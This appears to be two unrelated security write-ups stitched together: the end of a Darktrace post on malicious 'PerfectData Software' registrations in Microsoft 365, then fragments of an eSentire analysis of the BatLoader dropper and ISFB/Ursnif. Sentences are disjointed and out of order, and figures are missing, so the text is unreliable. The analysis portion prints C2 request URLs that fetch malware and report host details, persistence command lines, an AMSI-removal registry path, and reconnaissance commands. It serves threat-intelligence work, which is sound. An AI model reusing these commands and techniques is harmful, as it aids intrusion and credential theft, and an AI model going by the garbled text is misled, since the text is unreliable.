In cases where Darktrace RESPOND:trade_mark: was enabled in autonomous response mode, ‘PerfectData Software’ activity chains resulted in breaches of the following RESPOND models:• Antigena / SaaS / Antigena Suspicious SaaS Activity Block• Antigena / SaaS / Antigena Significant Compliance Activity BlockIn response to these model breaches, Darktrace RESPOND took immediate action, performing aggressive, inhibitive actions, such as forcing the actor to log out of the SaaS platform, and disabling the user entirely.


Figure 4: A RESPOND model breach created in response to a malicious actor's registration of 'PerfectData Software'In addition, Darktrace Cyber AI Analyst was able to autonomously investigate registrations of the ‘PerfectData Software’ application and summarized its findings into digestible reports.


Conclusion Due to the widespread adoption of Microsoft 365 services in the workplace and continued emphasis on a remote workforce, account hijackings now pose a more serious threat to organizations around the world than ever before.


The cases discussed here illustrate the tendency of malicious actors to conduct their activities from endpoints associated with VPN services, while also registering new applications, like PerfectData Software, with malicious intent.


Darktrace DETECT’s anomaly-based approach to threat detection allowed it to recognize that the use of ‘PerfectData Software’ represented a deviation in the SaaS user’s expected behavior.


AppendicesMITRE ATT&CK MappingReconnaissance:• T1598 – Phishing for InformationCredential Access:• T1110 – Brute ForceInitial Access:• T1078.004 – Valid Accounts: Cloud AccountsCommand and Control:• T1105 – Ingress Tool TransferPersistence:• T1098.003 – Account Manipulation: Additional Cloud Roles Collection:• T1114 – Email Collection Defense Evasion:• T1564.008 – Hide Artifacts: Email Hiding RulesLateral Movement:• T1534 – Internal SpearphishingUnusual Source IPs•


5.62.60[.]202 (AS198605 AVAST Software s.r.o.) • 160.152.10[.]215 (AS37637 Smile-Nigeria-AS)• 197.244.250[.]155 (AS37705 TOPNET)• 169.159.92[.]36 (AS37122 SMILE)• 45.62.170[.]237 (AS396073 MAJESTIC-HOSTING-01)• 92.38.180[.]49 (AS202422 G-Core Labs S.A)• 129.56.36[.]26 (AS327952 AS-NATCOM)• 92.38.180[.]47 (AS202422 G-Core Labs S.A.)• 107.179.20[.]214 (AS397086 LAYER-HOST-HOUSTON)• 45.62.170[.]31 (AS396073 MAJESTIC-HOSTING-01)References[1] https://www.investing.com/academy/statistics/microsoft-facts/[2] https://intel471.com/blog/countering-the-problem-of-credential-theft[3]


Since being introduced in February 2022, BatLoader is a malware dropper that has been observed dropping several well-known malware or malicious tools like ISFB, SystemBC RAT, Redline Stealer, and Vidar Stealer.

eSentire Threat Intelligence Malware Analysis BatLoader


Since its MSI installer file size is 100MB+, BatLoader can easily evade most sandboxes and antivirus tools.


Key Takeaways BatLoader delivers additional malware and tools including ISFB, Vidar Stealer, Cobalt Strike, Syncro RMM, and SystemBC RAT via fake installers.eSentire Threat Response Unit (TRU) observed two different BatLoader campaigns in 2022.BatLoader can evade most antivirus detections due to the size of the MSI installers.


Case Study BatLoader In September 2022, eSentire TRU observed multiple BatLoader infections in Consumer Services, Retail, Telecommunications, and Non-Profit client environments.


The MSI installers are signed by “Kancelaria Adwokacka Adwokat Aleksandra Krzemińska” (Figures 1-2).


The infections were observed in Insurance, Consulting, Healthcare, and Printing industries.


Figure 3: Fake TeamViewer download page We also observed several C2 domains related to BatLoader campaigns: updatea1[.]com (first campaign)cloudupdatesss[.]com (first campaign)externalchecksso[.]com (second campaign)internalcheckssso[.]com (second campaign)


BatLoader Analysis (First Campaign) BatLoader, named by Mandiant, is a malware dropper.


The malware was first mentioned by Mandiant in February 2022.


It’s worth noting that Mandiant mentioned the domain clouds222[.]com for the BatLoader campaign which also overlaps with the Zloader C2 domain.


eSentire TRU observed BatLoader dropping the following malware / malicious tools: ISFBSystemBC RATRedline StealerVidar Stealer Figure 4: BatLoader infection chain The MSI installer file is over 100MB in size; the large file size is implemented by threat actor(s) to evade sandboxes and antivirus products.


The properties of the BatLoader MSI installer are shown in Figure 5.


The files reside within the C:\Program Files (x86)\Softland\novaPDF 11\Tools path that is created after the malicious MSI is successfully run, we also found NordVPNSetup.exe dropped within the same path.


We believe that the files mentioned are used as a decoy.


Figure 5: Properties of the malicious MSI installer Figure 6: NovaPDF 11 components Figure 7: Decoy files The main malicious trigger for the MSI installer resides under CustomAction table.


The malicious actor(s) create a custom action to run the malicious PowerShell inline script.


The PowerShell script is run via the PowerShell Core or pwsh.exe in a hidden window.


Figure 8: Malicious PowerShell script under CustomAction Table


The downloaded update.bat file is responsible for downloading requestadmin.bat file and NirCmd.exe binary (Figure 9).


The batch file was executed via nircmd.exe which was also downloaded from the C2; the utility allows the batch file to run in the background without displaying the user interface.


Besides excluding the paths, the batch file also retrieves and executes the runanddelete.bat and scripttodo.ps1 scripts from the C2 via a native PowerShell command Invoke-WebRequest (Figure 10).


Figure 10: The contents of requestadmin.bat The scripttodo.ps1 installs the GnuPg, the software that encrypts and signs the data and communications as shown in Figure 11.


Figure 11: GnuPg installation Further down, the script enumerates the current domain that the user is logged into, the username, and obtains all entries within the IPs starting with 192., 10., and .172 in the ARP cache table.


If the amount is less than 2 and the user domain is within WORKGROUP, the script will not proceed to further infection.


If the number of IPs is greater than 2, the domain is not in WORKGROUP and does not contain the username, which satisfies all the conditions set in the script, then the full set of malware is retrieved from C2 (Figure 12).


The requests to the C2 server are performed in the following format: https://<C2 Server>/g5i0nq/index/d2ef590c0310838490561a205469713d/?servername=msi&arp="+ $IP_count + "&domain=" + $UserDomain + "&hostname=" + $UserPCname https://<C2 Server>/g5i0nq/index/fa0a24aafe050500595b1df4153a17fb/?servername=msi&arp="+ $IP_count + "&domain=" + $UserDomain + "&hostname=" + $UserPCname https://<C2 Server>/g5i0nq/index/i850c923db452d4556a2c46125e7b6f2/?servername=msi&arp="+ $IP_count + "&domain=" + $UserDomain + "&hostname=" + $UserPCname https://<C2 Server>/g5i0nq/index/b5e6ec2584da24e2401f9bc14a08dedf/?servername=msi&arp="+ $IP_count + "&domain=" + $UserDomain + "&hostname=" + $UserPCname Figure 12: Enumerating the host and retrieving malware from C2 based on the conditions If the mentioned conditions are not satisfied, the script retrieves the GPG-encrypted files: d2ef5.exe.gpg (encrypted Ursnif)p9d2s.exe.gpg (encrypted Vidar Stealer)


If all the conditions are met, the script retrieves the following files: d2ef5.exe.gpg (encrypted Ursnif)p9d2s.exe.gpg (encrypted Vidar Stealer)d655.dll.gpg (encrypted Cobalt Strike)f827.exe.gpg (encrypted Syncro RMM)shutdowni.bat We were unable to retrieve the shutdowni.bat file but we believe the script might have been deployed to restart the host.


The GPG decryption routine was borrowed from the script hosted on GitHub (Figure 13).


Figure 13: GPG decryption snippet Moreover, the scripttodo.ps1 recursively removes the implementation of Windows Defender IOfficeAntiVirus under HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}.


The IOfficeAntivirus component is responsible for detecting malicious or suspicious files downloaded from the Internet.


We have mentioned that besides scripttodo.ps1, the runanddelete.bat (Figure 14) file was retrieved.


Figure 14: Contents of runanddelete.bat file The Secrets of BatLoader


The binary d2ef5.exe is the ISFB banking malware also known as the successor of Gozi or Ursnif.


The first Gozi variant was first discovered by SecureWorks in 2007 and is still active today, spreading through phishing emails and loaders.


The Ursnif version we observed can exfiltrate browser credentials and cookies, Thunderbird and Outlook profiles, POP3, SMTP passwords.


Upon execution, ISFB creates a persistence via Registry Run Keys under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.


The registry value VirtualStop (the registry values can be different based on the wordlist table hardcoded in the binary).


The registry value contains the command that launches the shortcut (LNK) which contains powershell.exe in the relative path.


The PowerShell starts the CollectMirrow.ps1 script under %USERPROFILE% folder bypassing the PowerShell’s execution policy.


The command execution example: cmd /c start C:\Users\<username>\VirtualStop.lnk


-ep unrestricted -file C:\Users\<username>\CollectMirrow.ps1 The CollectMirror.ps1 script contains the PowerShell one-liner (Figure 15) that pulls the written data from the registry under HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\<registry_value>>, specifically the TestMouse value (Figure 16).


Figure 15: Contents of CollectMirror.ps1 Figure 16: Contents of TestMouse registry value The script performs process injection using the API such as OpenThread (to create a handle to an existing process), VirtualAlloc (memory allocation in the chosen process), and QueueUserAPC, the thread that the APC (Asynchronous Procedure Calls) is queued to has to enter an alertable state, this can be achieved by invoking SleepEx as shown in Figure 17.


We have observed ISFB injecting itself into a running explorer.exe process.


The unpacked sample is approximately 540 KB (MD5: 3aaf34ffbe45e4f54b37392ad1afe9a5).


You can read the very well-written analyses by Daniel Bunce here and here, but we will cover the main basics of malware.


The payload locates the BSS section which is where the encrypted strings reside within the function shown in Figure 18 (the hex string 81 38 2E 62 73 73 contains ‘bss’).


Figure 18: Payload locating the .bss section


The data stored in the BSS section is encoded as shown in Figure 19. Figure 19: Snipped of the encoded data in the BSS section


The decompiled code can be seen in Figure 21.


The decryption function is thoroughly described by 0verfl0w (Daniel Bunce) here.


Figure 21: Decompiled decryption function Figure 22: Decryption function in Python Figure 23: Decrypted strings The second decompressed data blob contains the following:


Sleep time: 1 second ConfigTimeout (time interval to check for a new configuration): 20 seconds


The third blob contains the wordlist values shown below: ['list', 'stop', 'computer', 'desktop', 'system', 'service', 'start', 'game', 'stop', 'operation', 'black', 'line', 'white', 'mode', 'link', 'urls', 'text', 'name', 'document', 'type', 'folder', 'mouse', 'file', 'paper', 'mark', 'check', 'mask', 'level', 'memory', 'chip', 'time', 'reply', 'date', 'mirrow', 'settings', 'collect', 'options', 'value', 'manager', 'page', 'control', 'thread', 'operator', 'byte', 'char', 'return', 'device', 'driver', 'tool', 'sheet', 'util', 'book', 'class', 'window', 'handler', 'pack', 'virtual', 'test', 'active', 'collision', 'process', 'make', 'local', 'core'] These words are used to build the registry value names.


Another interesting feature of the ISFB is that it stores three embedded binaries within the unpacked payload.


The binaries are compressed using APLib compression algorithm.


The decompression function is shown in Figure 24. Figure 24: APLib decompression function To be able to locate the embedded compressed binaries, we need to find the structure of the ISFB payload where it stores the configuration.


The configuration contains the payload marker or header, XOR key, CRC32 hash, the offset, and the size of each compressed binary (Figure 25).


The payload marker defines the version of ISFB.


FJ – old ISFB version J1 – old ISFB version J2 – DreamBot version J3 – ISFB v3 Japan JJ – ISFB v2.14 and above WD – RM3 Figure 25: Header section containing the configuration The compressed data is separated by the null bytes as shown in Figure 26.


You can see something resembling C2 domains in the first blob.


Figure 27: Python script to extract and decompress data blobs Figure 28: RSA public key blob ISFB also stores the configuration within the function that parses the payload header (Figure 29).


Figure 29: Snippet of the configuration hashes and payload header parsing The following are the hashes of the payload as a result of XORing:


0x11271c7f – timer 0x48295783 – timer 0x584e5925 – botnet 0x556aed8f – server 0x4fa8693e – key 0xd0665bf6 – domains 0x54432e74– directory 0xbbb5c71d – extension The traffic beaconing contains the following pattern that will be encrypted with the AES key extracted from the compressed blob: soft=%u&version=%u&user==%08x%08x%08x%08x &server=50&id=10101&crc=61f03b3&uptime=102696&action=%08x&dns=%s&whoami=%s&os=%s soft, version – version of the payload user – the value calculated from applying the RNG (Random Number Generator) algorithm, using the username, computer name, XOR operations, and cpuid call.


server – server ID id – botnet ID uptime – is the value based on the API calls QueryPerformanceFrequency and QueryPerformanceCounter dns – computer name os – OS version and system type The example of the encrypted with AES-128 beacon, replacing + with _2B and / with _2F, the / are also being added: /uploaded/V1jd62QM3JcPMZGTpdjl2I/mEcoduKcJlNZo/S1Tq0KYy/M2ZEZFPG3iasm8TVeZ5oYf7/m_2FHfl318/E2HneynLJsT2KcKW6/MBeMivC1RFEh/TAL8bLaLD_2/B1Hg1OTg4XQwlG/IJbZJIe0rxQ0SYwzWgYte/TfzvWXXywf9HHwRL/2ZSv_2BcgktHGaZ/hRo7dwwYV3D39_2Bmc/JmEz3Z359/UhGcxj4s_2F80Krry3Kf/tI6i_2BxIXB2d6WASfJ/NCIpYT61pYgL53jx8SghJH/pQnAADp6racXs/VdB_2FRy/o74GaLVJG9neXweATdYNR/5.pct Some interesting strings found: /data.php?version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s \Software\Microsoft\Windows\CurrentVersion SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings %


APPDATA%\Mozilla\Firefox\Profiles EnableSPDY3_0 \Macromedia\Flash Player\ cookies.sqlite cookies.sqlite-journal Mozilla\Firefox\Profiles Microsoft\Edge\User Data\Default Google\Chrome\User Data\Default --use-spdy=off --disable-http2


"%s> %s1" wmic computersystem get domain |more systeminfo.exe tasklist.exe /SVC > driverquery.exe > reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >


"type %s1 > %s & del %s1" net view > nslookup 127.0.0.1 > nslookup myip.opendns.com resolver1.opendns.com net config workstation > nltest /domain_trusts > nltest /domain_trusts /all_trusts > net view /all


/domain > net view /all > user_pref("network.http.spdy.enabled", false);


Software\Microsoft\Windows


Mail Software\Microsoft\Windows Live Mail account{*}.oeaccount Account_Name encryptedUsername SMTP_Email_Address encryptedPassword EmailAddressCollection/EmailAddress[%u]/Address Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\ Account Name IMAP Server IMAP Password IMAP Use SSL POP3 Server POP3 Password POP3 Use SSL SMTP Server SMTP Password SMTP Use SSL %PROGRAMFILES%\Mozilla Thunderbird %


cmd /c start %


s


-ep unrestricted -file %s new-alias -name %s -value gp;new-alias -name


Encoding]::ASCII.GetString((%s "HKCU:\%s").%S))